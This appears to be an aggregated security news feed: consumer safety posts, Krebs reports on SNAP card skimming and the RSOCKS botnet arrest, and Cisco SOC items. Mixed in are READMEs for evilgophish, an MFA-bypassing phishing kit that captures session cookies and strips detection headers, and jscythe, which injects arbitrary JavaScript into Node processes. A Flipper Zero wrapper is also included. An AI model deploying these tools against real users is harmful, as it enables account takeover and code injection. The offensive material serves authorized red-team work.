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Without doubt, the biggest criticism we all have of social media is that everyone always looks fabulous! And while we all know that everyone is only sharing the best version of themselves, let’s be honest – it can be a little wearing. Well, there’s a new social media platform that is determined to uproot our online curated lives by having users post very real pictures of themselves – with no time to stage or add filters!
Developed in France in 2020, BeReal is where Aussie teenagers are currently spending their time and energy online. And to be honest, I can totally see why. It’s all about sharing random, authentic pics without having to spend time and energy making them look beautiful. In fact, my 19-year-old tells me that the uglier and weirder the photo, the better! How refreshing!!!
Once you’ve signed up, the app will send all users a notification at a random time throughout the day that it’s ‘time to BeReal’. As soon as the user opens the app to share a pic, they have just 2 minutes to take a picture of whatever they’re doing at that particular moment whether they’re on the bus, at the gym or chilling at home in trackies. The app will take 2 pictures using the front and back cameras so that your followers can see what you look like and where you are.
Now, if you don’t manage to post in 2 minutes, you’re officially late and your friends will know. In fact, there’s a small amount of shame for being tardy – as if on some level you’re not committed to being authentic. But don’t let this worry you too much – we can’t wait around all day awaiting the notification to post!
When you have uploaded your daily snap, your friends can comment, respond to your pic with ‘RealMojis’ and even see where you are in the world with the map feature. Users can also choose to upload their pics to the public feed where other users can leave “RealMoji’ reactions but no comments. But in order to access either the public feed or your friends’ photos, users will need to take their own picture too.
Now for my favourite parts of this app – this app has NO filters, NO option to ‘like’ anything, NO follower counts and NO private messaging!! How liberating!!
Like all social media platforms, there are a few risks however with a bit of strategy and a few smarts, users should be able to have a safe and positive experience. And when compared to platforms where follower counts and likes are public, influencers dominate and comments are allowed, BeReal is definitely a great choice.
Here are my top tips to keep the experience safe and positive:
1. Disable Your Location To Avoid Being ‘Discoverable’
Before you share your pics, ensure you disable your location to avoid the app sharing your exact location on the map. You don’t want an ill-intentioned follower knowing your exact whereabouts!
2. Think (Quickly) Before You Post
The very brief 2-minute posting window may result in rushed decisions about what to post and potentially oversharing of personal information. So, ensure you (and your kids) know not to share anything that can identify their location, any identifiable numbers such as passports or licences or, their computer screens that may display confidential information.
3. Don’t Feel Pressures to Post If You Can’t
Accept that there will be times when you just can’t post within the 2-minute time frame. You may be driving, sleeping or doing something far more important. You can absolutely still post late.
4. Know How To Report Bad Behaviour
If you see a post that is inappropriate, then report it immediately. It’s an investment in keeping the BeReal community as safe as possible. Simply tap the three dots at the top right of the post. A report button should appear. You will then have the option to flag the post as undesirable or inappropriate.
5. Be Aware of the Comparison Trap!
Like all social media platforms, users may compare their posts with others. They may think their lives are boring and predictable, particularly if their friends are doing more exciting things. If a young person is prone to anxiety or low mood, this may not be helpful. As a parent, reminding your kids that perception is not reality, and that one photo does not define a person may be required. But if it all gets too much, a digital detox might be just the thing!
So, if your kids have embraced BeReal then your homework is pretty easy – join up too! It’s impossible to understand your kids’ online world if you don’t take some time to step inside it. And for what it’s worth – I think you’ll really like this one. The fact that there is no public like count, follower tally, filters or private messaging makes the Mama Bear in me very happy!!
The post BeReal – The Newest Kid On The Social Media Block appeared first on McAfee Blog.
Holding the door for someone might open the way to a cyberattack. For anyone who works in a secure building or workplace, they might want to rethink that courtesy. The hackers and thieves behind piggybacking and tailgating attacks count on it.
Piggyback and tailgating attacks occur when an unauthorized person gains access to a restricted workplace, one that requires some form of ID to enter. While quite similar, these attacks have an important difference:
In both cases, these unauthorized entries can put businesses and organizations at risk. They give potential bad actors all kinds of access to sensitive information and devices.
Trade secrets get stolen this way, as does customer information. In yet more malicious cases, bad actors might gain entry with the intent of sabotaging technology or hijacking a network. And of course, bad actors might do harm to people or property.
Businesses and organizations that find themselves at risk include those that:
Different businesses and organizations have different forms of security in place. You might be among the many who use a smart badge or some form of biometric security to enter a building or certain areas within a building.
However, determined bad actors will look for ways around these measures. With piggyback and tailgating attacks, it’s far easier for them to follow someone into a workplace than it is to break into a workplace.
Bad actors will simply walk in when someone holds the door for them. It’s as simple as that. Additionally, they’ll try several different tricks by:
In all, piggybacking and tailgating attacks rely on social engineering—playing off people’s innate courtesy, willingness to help, or even discomfort with conflict. Essentially, the attacker manipulates human nature.
A good portion of prevention falls on the owner of the building, whether that’s a business, organization, or a landlord. It falls on them to install security hardpoints like badge scanners, keypad locks, biometric scanners, and so on to keep the property secure. Moreover, employers owe it to themselves and their employees to train them on security measures.
Yet you can take further steps to prevent a piggybacking or tailgating attack on your workplace. Some steps include:
Also consider the security of your devices or any other sensitive information you work with. If a bad actor slips into your workplace, you can take other steps to prevent theft or damage.
Some aspects of piggybacking and tailgating prevention seem like they go against our better nature. We want to be kind, helpful, and sometimes we’d simply rather avoid confrontation. Again, piggybackers and tailgaters count on that. Yet a door is only as secure as the person who uses it—or who opens it for someone else.
The post How to Protect Yourself From Tailgating Attacks appeared first on McAfee Blog.
cryptorom-1200
Have you ever been browsing online and clicked a link or search result that took you to a site that triggers a “your connection is not private” or “your connection is not secure” error code? If you’re not too interested in that particular result, you may simply move on to another result option. But if you’re tempted to visit the site anyway, you should be sure you understand what the warning means, what the risks are, and how to bypass the error if you need to.
A “your connection is not private” error means that your browser cannot determine with certainty that a website has safe encryption protocols in place to protect your device and data. You can bump into this error on any device connected to the internet — computer, smartphone, or tablet.
So, what exactly is going on when you see the “this connection is not private” error?
For starters, it’s important to know that seeing the error is just a warning, and it does not mean any of your private information is compromised. A “your connection is not private” error means the website you were trying to visit does not have an up-to-date SSL (secure sockets layer) security certificate.
Website owners must maintain the licensing regularly to ensure the site encryption capabilities are up to date. If the website’s SSL certificate is outdated, it means the site owners have not kept their encryption licensing current, but it doesn’t necessarily mean they are up to no good. Even major websites like LinkedIn have had momentary lapses that would throw the error. LinkedIn mistakenly let their subdomain SSL certificates lapse.
In late 2021, a significant provider of SSL certificates, Let’s Encrypt, went out of business. When their root domain officially lapsed, it created issues for many domain names and SSL certificates owned by legitimate companies. The privacy error created problems for unwitting businesses, as many of their website visitors were rightfully concerned about site security.
While it does not always mean a website is unsafe to browse, it should not be ignored. A secure internet connection is critical to protecting yourself online. Many nefarious websites are dangerous to visit, and this SSL certificate error will protect you from walking into them unaware.
SSL certification standards have helped make the web a safer place to transact. It helps ensure online activities like paying bills online, ordering products, connecting to online banking, or keeping your private email accounts safe and secure. Online security continues to improve with a new Transport Layer Security (TLS) standard, which promises to be the successor protocol to SSL.
So be careful whenever visiting sites that trigger the “connection is not private” error, as those sites can potentially make your personal data less secure and make your devices vulnerable to viruses and malware.
Note: The “your connection is not private” error is Google Chrome‘s phrasing. Microsoft Edge or Mozilla Firefox users will instead see a “your connection is not secure” error as the warning message.
If you feel confident that a website or page is safe, despite the warning from your web browser, there are a few things you can do to troubleshoot the error.
Remember, you are taking your chances anytime you ignore an error. As we mentioned, you could leave yourself vulnerable to hackers after your passwords, personal information, and other risks.
Your data and private information are valuable to hackers, so they will continue to find new ways to try and procure it. Here are some ways to protect yourself and your data when browsing online.
As we continue to do more critical business online, we must also do our best to address the risks of the internet’s many conveniences.
A comprehensive cybersecurity tool like McAfee+ Ultimate can help protect you from online scams, identity theft, and phishing attempts, and ensure you always have a secure connection. McAfee helps keep your sensitive information out of the hands of hackers and can help you keep your digital data footprints lighter with personal data cleanup.
With McAfee’s experts on your side, you can enjoy everything the web offers with the confidence of total protection.
The post “This Connection Is Not Private” – What it Means and How to Protect Your Privacy appeared first on McAfee Blog.
Smishing and vishing are scams where criminals attempt to get users to click a fraudulent link through a phone text message, email, or voicemail. These scams are becoming increasingly popular as cybercriminals try to take advantage of people who are more likely to fall for them, such as those who aren’t as familiar with technology or who may be experiencing a crisis.
Be aware that cybercrime and hacking can happen to anyone. Criminals are always looking for new ways to exploit people, and they know that others may not be cautious or recognize the warning signs of phishing scams when using the internet. That’s why it’s important to be aware of the different types of cybercrime and how to protect yourself.
This article discusses how to protect yourself from smishing attempts and scams where criminals try to get you to click on a fraudulent link or respond to their voicemail message to steal your personal data.
Most people are familiar with phishing scams, where scammers try to trick you into giving them your personal or financial information by pretending to be a legitimate company or organization. But have you ever heard of smishing or vishing?
Smishing is a type of phishing scam where attackers send SMS messages (or text messages) to trick victims into sharing personal information or installing malware on their devices. Vishing is almost identical to smishing, except cybercriminals use VoIP (Voice over IP) to place phone calls to trick victims instead of SMS (short message service) messages.
Smishing messages often appear to be from a legitimate source, such as a well-known company or government agency. It may even include urgent language or threats in an effort to get victims to act quickly. In some cases, the message may also include a link that directs victims to a fake website where they are prompted to enter personal information or download malware.
Here are some examples of smishing text messages hackers use to steal your personal details:
If you fall for a smishing scam, you could end up giving away your personal information or money. Cybercriminals use smishing messages to get personal and financial information, like your credit card number or access to your financial services.
For example, one type of smishing scam is when you get a text message that looks like it’s from your bank. The message might say there’s been suspicious activity on your account and that you need to click on a link to verify your identity. If you do click on the link, you’ll be taken to a fake website where you’ll be asked to enter your banking information. Once the scammers have your login information, they have access to clean out your account.
Smishing scams can be very difficult to spot, but there are some telltale signs to look for and steps to take to protect yourself.
One of the easiest ways to protect yourself from smishing scams is to be able to recognize the signs of a smishing text message. Here are some tips:
While you can’t avoid smishing attacks altogether, you can block spam text messages you receive on your mobile phone. iPhone and Android have cybersecurity tools like spam filters and phone number blocking to help protect you from phishing attacks and malicious links.
To set up spam filters on your iPhone:
To set up spam filters on your Android mobile device:
McAfee Mobile Security is a mobile security app that helps protect your phone from malware, phishing attacks, and other online threats. McAfee Mobile Security is available for Android and iOS cell phones.
One of the benefits of using McAfee Mobile Security is that it can help detect and block smishing attacks. With identity monitoring, McAfee Mobile Security monitors your sensitive information like email accounts, credit card numbers, phone numbers, Social Security numbers, and more to protect against identity theft. They notify you if they find any security breaches.
Other benefits include:
These days, our lives are more intertwined with our mobile devices than ever. We use them to stay connected with our loved ones on social media, conduct our business, and even access our most personal, sensitive data. It’s no surprise that mobile cybersecurity is becoming increasingly important.
McAfee Mobile Security is a comprehensive security solution that helps protect your device from viruses, malware, and other online threats. It also offers a variety of other features, like a secure VPN to protect your credit card numbers and other personal data.
Whether you’re browsing your favorite website, keeping up with friends on social media, or shopping online at Amazon, McAfee Mobile Security provides the peace of mind that comes from knowing your mobile device is safe and secure.
So why wait? Don‘t let the smishers win. Get started today with McAfee Mobile Security and rest easy knowing your mobile device and sensitive information are protected.
The post What Is Smishing and Vishing, and How Do You Protect Yourself? appeared first on McAfee Blog.
A nonprofit organization is suing the state of Massachusetts on behalf of thousands of low-income families who were collectively robbed of more than a $1 million in food assistance benefits by card skimming devices secretly installed at cash machines and grocery store checkout lanes across the state. Federal law bars states from replacing these benefits using federal funds, and a recent rash of skimming incidents nationwide has disproportionately affected those receiving food assistance via state-issued prepaid debit cards.
The Massachusetts SNAP benefits card looks more like a library card than a payment card.
On Nov. 4, The Massachusetts Law Reform Institute (MLRI) filed a class action lawsuit on behalf of low-income families whose Supplemental Nutrition and Assistance Program (SNAP) benefits were stolen from their accounts. The SNAP program serves over a million people in Massachusetts, and 41 million people nationally.
“Over the past few months, thieves have stolen over a million SNAP dollars from thousands of Massachusetts families – putting their nutrition and economic stability at risk,” the MLRI said in a statement on the lawsuit. “The criminals attach a skimming device on a POS (point of sale) terminal to capture the household’s account information and PIN. The criminals then use that information to make a fake card and steal the SNAP benefits.”
In announcing the lawsuit, the MRLI linked to a story KrebsOnSecurity published last month that examined how skimming thieves increasingly are targeting SNAP payment card holders nationwide. The story looked at how the vast majority of SNAP benefit cards issued by the states do not include the latest chip technology that makes it more difficult and expensive for thieves to clone them.
The story also highlighted how SNAP cardholders usually have little recourse to recover any stolen funds — even in unlikely cases where the victim has gathered mountains of proof to show state and federal officials that the fraudulent withdrawals were not theirs.
Deborah Harris is a staff attorney at the MLRI. Harris said the goal of the lawsuit is to force Massachusetts to reimburse SNAP skimming victims using state funds, and to convince The U.S. Department of Agriculture (USDA) — which funds the program that states draw from — to change its policies and allow states to replace stolen benefits with federal funds.
“Ultimately we think it’s the USDA that needs to step up and tell states they have a duty to restore the stolen benefits, and that USDA will cover the cost at least until there is better security in place, such as chip cards,” Harris told KrebsOnSecurity.
“The losses we’re talking about are relatively small in the scheme of total SNAP expenditures which are billions,” she said. “But if you are a family that can’t pay for food because you suddenly don’t have money in your account, it’s devastating for the family.”
The USDA has not said it will help states restore the stolen funds. But on Oct. 31, 2022, the agency released guidance (PDF) whose primary instructions were included in an appendix titled, Card Security Options Available to Households. Notably, the USDA did not mention the idea of shifting to chip-based SNAP benefits cards.
The recently issued USDA guidance.
“The guidance generally continues to make households responsible for preventing the theft of their benefits as well as for suffering the loss when benefits are stolen through no fault of the household,” Harris said. “Many of the recommendations are not practical for households who don’t have a smartphone to receive text messages and aren’t able to change their PIN after each transaction and keep track of the new PIN.”
Harris said three of the four recommendations are not currently available in Massachusetts, and they are very likely not currently available in other states. For example, she said, Massachusetts households do not have the option of freezing or locking their cards between transactions. Nor do they receive alerts about transactions. And they most certainly don’t have any way to block out-of-state transactions.
“Perhaps these are options that [card] processors and states could provide, but they are not available now as far as we know,” Harris said. “Most likely they would take time to implement.”
The Center for Law and Social Policy (CLASP) recently published Five Ways State Agencies Can Support EBT Users at Risk of Skimming. CLASP says while it is true states can’t use federal funds to replace benefits unless the loss was due to a “system error,” states could use their own funds.
“Doing so will ensure families don’t have to go without food, gas money, or their rent for the month,” CLASP wrote.
That would help address the symptoms of card skimming, but not a root cause. Hardly anyone is suggesting the obvious, which is to equip SNAP benefit cards with the same security technology afforded to practically everyone else participating in the U.S. banking system.
There are several reasons most state-issued SNAP benefit cards do not include chips. For starters, nobody says they have to. Also, it’s a fair bit more expensive to produce chip cards versus plain old magnetic stripe cards, and many state assistance programs are chronically under-funded. Finally, there is no vocal (or at least well-heeled) constituency advocating for change.
A copy of the class action complaint filed by the MLRI is available here.
Combination of evilginx2 and GoPhish.
Before I begin, I would like to say that I am in no way bashing Kuba Gretzky and his work. I thank him personally for releasing evilginx2 to the public. In fact, without his work this work would not exist. I must also thank Jordan Wright for developing/maintaining the incredible GoPhish toolkit.
You should have a fundamental understanding of how to use GoPhish, evilginx2, and Apache2.
I shall not be responsible or liable for any misuse or illegitimate use of this software. This software is only to be used in authorized penetration testing or red team engagements where the operator(s) has(ve) been given explicit written permission to carry out social engineering.
As a penetration tester or red teamer, you may have heard of evilginx2 as a proxy man-in-the-middle framework capable of bypassing two-factor/multi-factor authentication. This is enticing to us to say the least, but when trying to use it for social engineering engagements, there are some issues off the bat. I will highlight the two main problems that have been addressed with this project, although some other bugs have been fixed in this version which I will highlight later.
FreshRSS 
evilginx2 does not provide unique tracking statistics per victim (e.g. opened email, clicked link, etc.), this is problematic for clients who want/need/pay for these statistics when signing up for a social engineering engagement.evilginx2 bases a lot of logic off of remote IP address and will whitelist an IP for 10 minutes after the victim triggers a lure path. evilginx2 will then skip creating a new session for the IP address if it triggers the lure path again (if still in the 10 minute window). This presents issues for us if our victims are behind a firewall all sharing the same public IP address, as the same session within evilginx2 will continue to overwrite with multiple victim's data, leading to missed and lost data. This also presents an issue for our proxy setup, since localhost is the only IP address requesting evilginx2.In this setup, GoPhish is used to send emails and provide a dashboard for evilginx2 campaign statistics, but it is not used for any landing pages. Your phishing links sent from GoPhish will point to an evilginx2 lure path and evilginx2 will be used for landing pages. This provides the ability to still bypass 2FA/MFA with evilginx2, without losing those precious stats. Apache2 is simply used as a proxy to the local evilginx2 server and an additional hardening layer for your phishing infrastructure. Realtime campaign event notifications have been provided with a local websocket/http server I have developed and full usable JSON strings containing tokens/cookies from evilginx2 are displayed directly in the GoPhish GUI (and feed):
evilginx2 will listen locally on port 8443
GoPhish will listen locally on port 8080 and 3333
Apache2 will listen on port 443 externally and proxy to local evilginx2 server Apache2 layer based on redirect rules and IP blacklist configuration evilginx2 if a request hits the evilginx2 serversetup.sh has been provided to automate the needed configurations for you. Once this script is run and you've fed it the right values, you should be ready to get started. Below is the setup help (note that certificate setup is based on letsencrypt filenames):
In case you ran setup.sh once and already replaced the default RId value throughout the project, replace_rid.sh was created to replace the RId value again.
Usage:
./replace_rid <previous rid> <new rid>
- previous rid - the previous rid value that was replaced
- new rid - the new rid value to replace the previous
Example:
./replace_rid.sh user_id client_id
Once setup.sh is run, the next steps are:
GoPhish and configure email template, email sending profile, and groupsevilginx2 and configure phishlet and lure (must specify full path to GoPhish sqlite3 database with -g flag)Apache2 server is startedGoPhish and make the landing URL your lure path for evilginx2 phishletAn entire reworking of GoPhish was performed in order to provide SMS campaign support with Twilio. Your new evilgophish dashboard will look like below:
Once you have run setup.sh, the next steps are:
SMS message template. You will use Text only when creating a SMS message template, and you should not include a tracking link as it will appear in the SMS message. Leave Envelope Sender and Subject blank like below:
SMS Sending Profile. Enter your phone number from Twilio, Account SID, Auth Token, and delay in between messages into the SMS Sending Profiles page:
CSV template values have been kept the same for compatibility, so keep the CSV column names the same and place your target phone numbers into the Email column. Note that Twilio accepts the following phone number formats, so they must be in one of these three:
evilginx2 and configure phishlet and lure (must specify full path to GoPhish sqlite3 database with -g flag)Apache2 server is startedGoPhish and make the landing URL your lure path for evilginx2 phishletRealtime campaign event notifications are handled by a local websocket/http server and live feed app. To get setup:
Select true for feed bool when running setup.sh
cd into the evilfeed directory and start the app with ./evilfeed
When starting evilginx2, supply the -feed flag to enable the feed. For example:
./evilginx2 -feed -g /opt/evilgophish/gophish/gophish.db
http://localhost:1337/. The feed dashboard will look like below:IMPORTANT NOTES
JavaScript and you DO NOT need to refresh the page. If you refresh the page, you will LOSE all events up to that point.Included in the evilginx2/phishlets folder are three custom phishlets not included in evilginx2.
o3652 - modified/updated version of the original o365 (stolen from Optiv blog)google - updated from previous examples online (has issues, don't use in live campaigns)knowbe4 - custom (don't have access to an account for testing auth URL, works for single-factor campaigns, have not fully tested MFA)I feel like the world has been lacking some good phishlet examples lately. It would be great if this repository could be a central repository for the latest phishlets. Send me your phishlets at fin3ss3g0d@pm.me for a chance to end up in evilginx2/phishlets. If you provide quality work, I will create a Phishlets Hall of Fame and you will be added to it.
JSON requestsmime type was failed to be retrieved from responsesX headers relating to evilginx2 have been removed throughout the code (to remove IOCs)X headers relating to GoPhish have been removed throughout the code (to remove IOCs).html file named 404.html in templates folder (example has been provided)rid string in phishing URLs is chosen by the operator in setup.sh
SMS Campaign SupportSee the CHANGELOG.md file for changes made since the initial release.
I am taking the same stance as Kuba Gretzky and will not help creating phishlets. There are plenty of examples of working phishlets and for you to create your own, if you open an issue for a phishlet it will be closed. I will also not consider issues with your Apache2, DNS, or certificate setup as legitimate issues and they will be closed. However, if you encounter a legitimate failure/error with the program, I will take the issue seriously.
I would like to see this project improve and grow over time. If you have improvement ideas, new redirect rules, new IP addresses/blocks to blacklist, phishlets, or suggestions, please email me at: fin3ss3g0d@pm.me or open a pull request.
NetWitness and Cisco released the third annual Findings Report from the RSA Conference® 2022 Security Operations Center (SOC).
The RSA Conference® SOC analyzes the Moscone Center wireless traffic, which is an open network during the week of the Conference.
The role of the SOC at RSA Conference is an educational exhibit sponsored by NetWitness and Cisco. It has elements of a SOC like you would create to protect an organization. The RSAC SOC coordinated with the Moscone Center Network Operation Center for a SPAN of the network traffic from the Moscone Center wireless network. In the SOC, NetWitness had real time visibility of the traffic traversing the wireless network. Cisco provided automated malware analysis, threat intelligence, DNS visibility and Intrusion Detection; brought together with SecureX.
The goal of the RSAC SOC is to use technology to educate conference attendees about what happens on a typical wireless network. The education comes in the form of daily SOC tours and an RSA Conference® session. You can watch the replay of the ‘EXPOSURE: The 3rd Annual RSAC SOC Report’ session here.
The findings report addresses several security topics, including:
Look forward to seeing you in 2023!
Download the RSA Conference® 2022 Security Operations Center Findings Report here.
Acknowledgements: Our appreciation to those who made the RSAC SOC possible.
Percy Tucker
Steve Fink
Bart Stump
Dave Glover
Jessica Bair Oppenheimer – Cisco SOC Manager
Ian Redden – Team Lead & Integrations
Aditya Sankar / Ben Greenbaum – SecureX & Malware Analytics
Alejo Calaoagan / Christian Clasen – Cisco Umbrella
Dinkar Sharma / Seyed Khadem-Djahaghi – Cisco Secure Firewall
Matt Vander Horst – SecureX Orchestration
Doug Hurd – Partnerships
Eric Kostlan
Navin Sinha
Zohreh Khezri
Eric Goodwin
Gabe Gilligan and the amazing staff at XPO Digital!
We’d love to hear what you think. Ask a Question, Comment Below, and Stay Connected with Cisco Secure on social!
Cisco Secure Social Channels
jscythe abuses the node.js inspector mechanism in order to force any node.js/electron/v8 based process to execute arbitrary javascript code, even if their debugging capabilities are disabled.
Tested and working against Visual Studio Code, Discord, any Node.js application and more!
SIGUSR1 signal to the process, this will enable the debugger on a port (depending on the software, sometimes it's random, sometimes it's not).SIGUSR1.http://localhost:<port>/json.Runtime.evaluate request with the provided code.cargo build --releaseTarget a specific process and execute a basic expression:
./target/debug/jscythe --pid 666 --code "5 - 3 + 2"Execute code from a file:
./target/debug/jscythe --pid 666 --script example_script.jsThe example_script.js can require any node module and execute any code, like:
require('child_process').spawnSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator', { encoding : 'utf8' }).stdoutSearch process by expression:
./target/debug/jscythe --search extensionHost --script example_script.jsRun jscythe --help for the complete list of options.
This project is made with ♥ by @evilsocket and it is released under the GPL3 license.
Just a few years ago when the topic of supporting offsite workers arose, some of the key conversation topics were related to purchase, logistics, deployment, maintenance and similar issues. The discussions back then were more like “special cases” vs. today’s environment where supporting workers offsite (now known as the hybrid workforce) has become a critical mainstream topic.
Now with the bulk of many organization’s workers off-premise, the topic of security and the ability of a security vendor to help support an organization’s hybrid workers has risen to the top of the selection criteria. In a soon to be released Cisco endpoint survey, it’s not surprising that the ability of a security vendor to make supporting the hybrid workforce easier and more efficient was the key motivating factor when organizations choose security solutions.
Today, when prospects and existing customers look at Cisco’s ability to support hybrid workers with our advanced security solution set and open platform, it’s quite clear that we can deliver on that promise. But, yes, good tools make it easier and more efficient, but the reality is that running a SOC or any security group, large or small, still takes a lot of work. Most organizations not only rely on advanced security tools but utilize a set of best practices to provide clarity of roles, efficiency of operation, and for the more prepared, have tested these best practices to prove to themselves that they are prepared for what’s next.
Knowing that not all organizations have this degree of security maturity and preparedness, we gathered a couple of subject matter experts together to discuss 5 areas of time-tested best practices that, besides the advanced tools offered by Cisco and others, can help your SOC (or small security team) yield actionable insights and guide you faster, and with more confidence, toward the outcomes you want.
In this webinar you will hear practical advice from Cisco technical marketing and a representative from our award winning Talos Threat Intelligence group, the same group who have created and are maintaining breach defense in partnership with Fortune 500 Security Operating Centers (SOC) around the globe.
You can expect to hear our 5 Best Practices recommendations on the following topics;
Check out our webinar to find out how you can become more security resilient and be better prepared for what’s next.
We’d love to hear what you think. Ask a Question, Comment Below, and Stay Connected with Cisco Secure on social!
Cisco Secure Social Channels
Unoffical Flipper Zero cli wrapper written in Python
$ git clone https://github.com/wh00hw/pyFlipper.git
$ cd pyFlipper
$ python3 -m venv venv
$ source venv/bin/activate
$ pip install -r requirements.txtfrom pyflipper import PyFlipper
#Local serial port
flipper = PyFlipper(com="/dev/ttyACM0")
#OR
#Remote serial2websocket server
flipper = PyFlipper(ws="ws://192.168.1.5:1337")#Info
info = flipper.power.info()
#Poweroff
flipper.power.off()
#Reboot
flipper.power.reboot()
#Reboot in DFU mode
flipper.power.reboot2dfu()#Install update from .fuf file
flipper.update.install(fuf_file="/ext/update.fuf")
#Backup Flipper to .tar file
flipper.update.backup(dest_tar_file="/ext/backup.tar")
#Restore Flipper from backup .tar file
flipper.update.restore(bak_tar_file="/ext/backup.tar")#List installed apps
apps = flipper.loader.list()
#Open app
flipper.loader.open(app_name="Clock")#Get flipper date
date = flipper.date.date()
#Get flipper timestamp
timestamp = flipper.date.timestamp()
#Get the processes dict list
ps = flipper.ps.list()
#Get device info dict
device_info = flipper.device_info.info()
#Get heap info dict
heap = flipper.free.info()
#Get free_blocks string
free_blocks = flipper.free.blocks()
#Get bluetooth info
bt_info = flipper.bt.info()#Get the storage filesystem info
ext_info = flipper.storage.info(fs="/ext")#Get the storage /ext dict
ext_list = flipper.storage.list(path="/ext")
#Get the storage /ext tree dict
ext_tree = flipper.storage.tree(path="/ext")
#Get file info
file_info = flipper.storage.stat(file="/ext/foo/bar.txt")
#Make directory
flipper.storage.mkdir(new_dir="/ext/foo")#Read file
plain_text = flipper.storage.read(file="/ext/foo/bar.txt")
#Remove file
flipper.storage.remove(file="/ext/foo/bar.txt")
#Copy file
flipper.storage.copy(src="/ext/foo/source.txt", dest="/ext/bar/destination.txt")
#Rename file
flipper.storage.rename(file="/ext/foo/bar.txt", new_file="/ext/foo/rab.txt")
#MD5 Hash file
md5_hash = flipper.storage.md5(file="/ext/foo/bar.txt")
#Write file in one chunk
file = "/ext/bar.txt"
text = """There are many variations of passages of Lorem Ipsum available,
but the majority have suffered alteration in some form, by injected humour,
or randomised words which don't look even slightly believable.
If you are going to use a passage of Lorem Ipsum,
you need to be sure there isn't anything embarrassing hidden in the middle of text.
"""
flipper.storage.write.file(file, text)
#Write file using a listener
file = "/ext/foo.txt"
text_one = """There are many variations of passages of Lorem Ipsum available,
but the majority have suffered alteration in some form, by injected humour,
or randomised words which don't look even slightly believable.
If you are going to use a passage of Lorem Ipsum,
you need to be sure there isn't anything embarrassing hidden in the middle of text.
"""
flipper.storage.write.start(file)
time.sleep(2)
flipper.storage.write.send(text_one)
text_two = """All the Lorem Ipsum generators on the Internet tend to repeat predefined chunks as
necessary, making this the first true generator on the Internet.
It uses a dictionary of over 200 Latin words, combined with a handful of
model sentence structures, to generate Lorem Ipsum which looks reasonable.
The generated Lorem Ipsum is therefore always free from repetition, injected humour, or non-characteristic words etc.
"""
flipper.storage.write.send(text_two)
time.sleep(3)
#Don't forget to stop
flipper.storage.write.stop()#Set generic led on (r,b,g,bl)
flipper.led.set(led='r', value=255)
#Set blue led off
flipper.led.blue(value=0)
#Set green led value
flipper.led.green(value=175)
#Set backlight on
flipper.led.backlight_on()
#Set backlight off
flipper.led.backlight_off()
#Turn off led
flipper.led.off()#Set vibro True or False
flipper.vibro.set(True)
#Set vibro on
flipper.vibro.on()
#Set vibro off
flipper.vibro.off()#Set gpio mode: 0 - input, 1 - output
flipper.gpio.mode(pin_name=PIN_NAME, value=1)
#Read gpio pin value
flipper.gpio.read(pin_name=PIN_NAME)
#Set gpio pin value
flipper.gpio.mode(pin_name=PIN_NAME, value=1)#Play song in RTTTL format
rttl_song = "Littleroot Town - Pokemon:d=4,o=5,b=100:8c5,8f5,8g5,4a5,8p,8g5,8a5,8g5,8a5,8a#5,8p,4c6,8d6,8a5,8g5,8a5,8c#6,4d6,4e6,4d6,8a5,8g5,8f5,8e5,8f5,8a5,4d6,8d5,8e5,2f5,8c6,8a#5,8a#5,8a5,2f5,8d6,8a5,8a5,8g5,2f5,8p,8f5,8d5,8f5,8e5,4e5,8f5,8g5"
#Play in loop
flipper.music_player.play(rtttl_code=rttl_song)
#Stop loop
flipper.music_player.stop()
#Play for 20 seconds
flipper.music_player.play(rtttl_code=rttl_song, duration=20)
#Beep
flipper.music_player.beep()
#Beep for 5 seconds
flipper.music_player.beep(duration=5)#Synchronous default timeout 5 seconds
#Detect NFC
nfc_detected = flipper.nfc.detect()
#Emulate NFC
flipper.nfc.emulate()
#Activate field
flipper.nfc.field()#Synchronous default timeout 5 seconds
#Read RFID
rfid = flipper.rfid.read()#Transmit hex_key N times(default count = 10)
flipper.subghz.tx(hex_key="DEADBEEF", frequency=433920000, count=5)
#Decode raw .sub file
decoded = flipper.subghz.decode_raw(sub_file="/ext/subghz/foo.sub")#Transmit hex_address and hex_command selecting a protocol
flipper.ir.tx(protocol="Samsung32", hex_address="C000FFEE", hex_command="DEADBEEF")
#Raw Transmit samples
flipper.ir.tx_raw(frequency=38000, duty_cycle=0.33, samples=[1337, 8888, 3000, 5555])
#Synchronous default timeout 5 seconds
#Receive tx
r = flipper.ir.rx(timeout=10)#Read (default timeout 5 seconds)
ikey = flipper.ikey.read()
#Write (default timeout 5 seconds)
ikey = flipper.ikey.write(key_type="Dallas", key_data="DEADBEEFCOOOFFEE")
#Emulate (default timeout 5 seconds)
flipper.ikey.emulate(key_type="Dallas", key_data="DEADBEEFCOOOFFEE")#Attach event logger (default timeout 10 seconds)
logs = flipper.log.attach()#Activate debug mode
flipper.debug.on()
#Deactivate debug mode
flipper.debug.off()#Search
response = flipper.onewire.search()#Get
response = flipper.i2c.get()#Input dump
dump = flipper.input.dump()
#Send input
flipper.input.send("up", "press")Feel free to contribute in any way
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A 36-year-old Russian man recently identified by KrebsOnSecurity as the likely proprietor of the massive RSOCKS botnet has been arrested in Bulgaria at the request of U.S. authorities. At a court hearing in Bulgaria this month, the accused hacker requested and was granted extradition to the United States, reportedly telling the judge, “America is looking for me because I have enormous information and they need it.”
A copy of the passport for Denis Kloster, as posted to his Vkontakte page in 2019.
On June 22, KrebsOnSecurity published Meet the Administrators of the RSOCKS Proxy Botnet, which identified Denis Kloster, a.k.a. Denis Emelyantsev, as the apparent owner of RSOCKS, a collection of millions of hacked devices that were sold as “proxies” to cybercriminals looking for ways to route their malicious traffic through someone else’s computer.
A native of Omsk, Russia, Kloster came into focus after KrebsOnSecurity followed clues from the RSOCKS botnet master’s identity on the cybercrime forums to Kloster’s personal blog, which featured musings on the challenges of running a company that sells “security and anonymity services to customers around the world.” Kloster’s blog even included a group photo of RSOCKS employees.
“Thanks to you, we are now developing in the field of information security and anonymity!,” Kloster’s blog enthused. “We make products that are used by thousands of people around the world, and this is very cool! And this is just the beginning!!! We don’t just work together and we’re not just friends, we’re Family.”
The Bulgarian news outlet 24Chasa.bg reports that Kloster was arrested in June at a co-working space in the southwestern ski resort town of Bansko, and that the accused asked to be handed over to the American authorities.
“I have hired a lawyer there and I want you to send me as quickly as possible to clear these baseless charges,” Kloster reportedly told the Bulgarian court this week. “I am not a criminal and I will prove it in an American court.”
